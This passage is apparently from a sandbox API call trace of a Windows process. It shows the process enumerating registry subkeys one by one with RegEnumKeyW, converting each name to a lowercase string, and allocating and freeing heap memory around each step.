lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x24b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0184.250] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.250] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x24b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x24c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x24b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x24b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x24c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.251] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x24b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x24c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0184.251] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.251] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x24b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x24c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x24b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x24c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x24b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x24c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.252] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x24b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x24c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0184.252] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.252] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.253] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x24b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x24c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.253] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x24b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.253] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x24b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x24c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.253] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x24b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0184.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.253] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.253] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x24b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x24c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.254] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x24b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x24c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.254] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x24b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x24c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.254] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x24b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x24c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.254] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.254] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x24b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x24c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.255] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x24b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.255] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x24b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x24c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.255] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x24b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x24c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) 